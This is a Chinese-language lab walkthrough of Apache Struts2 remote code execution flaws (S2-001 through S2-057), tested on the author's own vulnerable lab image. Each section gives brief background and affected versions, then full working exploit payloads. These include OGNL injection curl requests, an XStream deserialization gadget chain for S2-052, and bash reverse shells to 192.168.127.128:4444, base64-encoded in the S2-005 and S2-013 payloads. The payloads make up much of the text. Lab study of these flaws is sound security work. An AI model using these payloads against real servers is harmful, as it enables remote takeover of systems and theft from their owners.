Struts2 系列重点漏洞分析
由于vulhub上的靶场太老无法适配新版kali,我基于旧靶场搭建了一个新靶场dyfawa4/struts2
S2-001
漏洞简介
Struts2远程执行漏洞(S2-001),最早的 Struts2 OGNL漏洞之一。
漏洞成因:struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。
漏洞详情: http://struts.apache.org/docs/s2-005.html
影响范围
Struts 2.0.0 – 2.0.8(以及 WebWork altSyntax)完整执行链
用户输入:%{666}
↓
提交到 /login.action
↓
Struts2处理请求
↓
把username放入ValueStack
↓
JSP页面使用<s:textfield>
↓
OGNL解析 value
↓
执行表达式
↓
生成HTML:
<input value="2">
↓
浏览器看到:2漏洞验证
先监听一个端口

漏洞利用payload:
%{#p=new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","bash -i >& /dev/tcp/192.168.127.128/4444 0>&1"}).start()}
工具验证

S2-005
漏洞简介
参考吴翰清的《白帽子讲Web安全》一书。
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
正常理解:
username=admin但在漏洞环境中:
参数名 → OGNL表达式例如:
%{1+1}可能被直接执行
触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
- S2-003 使用
\u0023绕过s2对#的防御 - S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
修复存在问题,攻击者可以:
通过OGNL表达式 → 重新开启这些限制比如修改内部安全配置:
allowStaticMethodAccess = true影响范围
影响版本: 2.0.0 - 2.1.8.1 漏洞详情: http://struts.apache.org/docs/s2-005.html完整执行链
请求参数进入 Struts2
↓
参数名被当成 OGNL 表达式
↓
绕过过滤(Unicode / 编码)
↓
修改 memberAccess(开权限)
↓
修改 context(关限制)
↓
调用 Runtime.exec
↓
执行系统命令漏洞验证
先监听端口

构造Poc
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

工具验证

s2-009
漏洞介绍
\> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md
参考Struts2漏洞分析之Ognl表达式特性引发的新思路,文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。
Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023或\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。
影响范围
2.1.0 - 2.3.1.1漏洞验证
构造payload
curl "http://192.168.127.128:8080/ajax/example5.action?age=12313&name=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29%2C%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3d+new+java.lang.Boolean%28true%29%2C%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z%5B%28name%29%28%27meh%27%29%5D=true"文件成功写入

s2-013
漏洞介绍
Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:
- none - 链接不包含请求的任意参数值(默认)
- get - 链接只包含 GET 请求中的参数和其值
- all - 链接包含 GET 和 POST 所有参数和其值
<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
漏洞详情:
- http://struts.apache.org/docs/s2-013.html
- http://struts.apache.org/docs/s2-014.html
影响版本
2.0.0 - 2.3.14.1漏洞验证
先监听端口

构造payload
%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%7D"

工具验证

S2-016
漏洞介绍
在 Apache Struts 2.x 中,DefaultActionMapper 支持以下前缀:
action:
redirect:
redirectAction:这些前缀本意是用于:
- 页面跳转
- 重定向控制
问题在于这些前缀后面的内容 会被当作 OGNL 表达式解析执行,但框架没有做有效限制。
漏洞本质
redirect:${OGNL表达式}被解析为:
执行 OGNL 表达式- 用户可控输入
- 进入 OGNL
无安全限制
最终导致任意 Java 代码执行 → RCE
利用入口
http://target/index.action?redirect:${...}不需要表单提交,也不需要参数绑定,属于URL 级别直接触发漏洞
影响范围
影响版本: 2.0.0 - 2.3.15
漏洞详情:
漏洞验证
构造payload
curl -s "http://192.168.127.128:8080/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23fw%3Dnew%20java.io.FileWriter%28%22/tmp/success%22%29%2C%23fw.write%28%22success%22%29%2C%23fw.close%28%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%22done%22%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D"文件成功写入

工具验证

s2-032
漏洞介绍
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://www.cnblogs.com/mrchang/p/6501428.html
影响版本
Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)漏洞验证
构造payload,Java的 Runtime.exec() 不会解析shell重定向符号 > 。需要使用 sh -c 来执行包含重定向的命令。
curl -v "http://192.168.127.128:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext@getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch%20/tmp/success"文件成功写入

工具验证

S2-045
漏洞介绍
S2-045 是 Apache Struts 历史上最著名、影响最大的漏洞之一。
- 编号:CVE-2017-5638
- 类型:远程命令执行(RCE)
- 利用难度:⭐(极低)
- 危害等级:🔥🔥🔥🔥🔥
漏洞一句话理解
攻击者通过构造恶意 HTTP Header(Content-Type),让 Struts2 在解析上传请求时执行 OGNL 表达式,从而实现远程命令执行。
漏洞发生在:
Jakarta Multipart 解析器当请求头:
Content-Type解析失败时, Struts2 会:
抛异常 → 处理异常 → 拼接错误信息 → 执行 OGNL异常信息中包含了用户可控内容(Content-Type),并且:这个内容会被当成 OGNL 表达式执行
为什么045危害性这么高?主要是攻击入口:
不同于 S2-005 / S2-016:
| 漏洞 | 入口 |
|---|---|
| S2-005 | 参数名 |
| S2-016 | URL 前缀 |
| S2-045 | HTTP Header |
利用位置:
Content-Type: %{恶意OGNL}利用流程
发送请求
↓
Content-Type 被解析
↓
解析异常
↓
进入异常处理逻辑
↓
错误信息拼接 OGNL
↓
OGNL 被执行
↓
执行系统命令为什么 S2-045 特别危险?
1. 不需要特定路径
不像:
/index.action只要是 Struts2 应用:
任何 URL 都可能触发2. 不依赖参数
不需要:
- GET 参数
- POST 参数
只靠 Header
3. WAF 难拦
因为:
攻击点在 Header很多设备:
默认不严格检查 Header
4. 利用极其稳定
几乎:
一打一个准影响范围
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
- http://struts.apache.org/docs/s2-045.html
- https://blog.csdn.net/u011721501/article/details/60768657
- https://paper.seebug.org/247/
漏洞验证
构造payload
curl -v "http://192.168.127.128:8080/" -H "Content-Type: %{(#fw=new java.io.FileWriter('/tmp/success')).(#fw.write('success')).(#fw.close()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} multipart/form-data"成功写入文件

工具验证

s2-052
漏洞介绍
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
| 扩展名 | Content-Type | 解析方法 |
|---|---|---|
| xml | application/xml | xstream |
| json | application/json | jsonlib或jackson(可选) |
| xhtml | application/xhtml+xml | 无 |
| 无 | application/x-www-form-urlencoded | 无 |
| 无 | multipart/form-data | 无 |
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
<classname></classname>
//或者
<paramname class="classname"></paramname>所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。
漏洞详情:
- http://struts.apache.org/docs/s2-052.html
- https://yq.aliyun.com/articles/197926
影响版本
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12漏洞验证
构造payload
curl -X POST "http://192.168.127.128:8080/orders/3/edit" \
-H "Content-Type: application/xml" \
-d '<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>sh</string>
<string>-c</string>
<string>echo success > /tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>'文件成功写入

st2-057
漏洞简介
当Struts2的配置满足以下条件时:
- alwaysSelectFullNamespace值为true
- action元素未设置namespace属性,或使用了通配符
namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://lgtm.com/blog/apache_struts_CVE-2018-11776
- https://xz.aliyun.com/t/2618
- https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg
影响版本
小于等于 Struts 2.3.34 与 Struts 2.5.16漏洞利用
构造payload
curl -v "http://192.168.127.128:8080/struts2-showcase/\$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23fw%3Dnew%20java.io.FileWriter('/tmp/success')).(%23fw.write('success')).(%23fw.close())%7D/actionChain1.action"成功写入文件
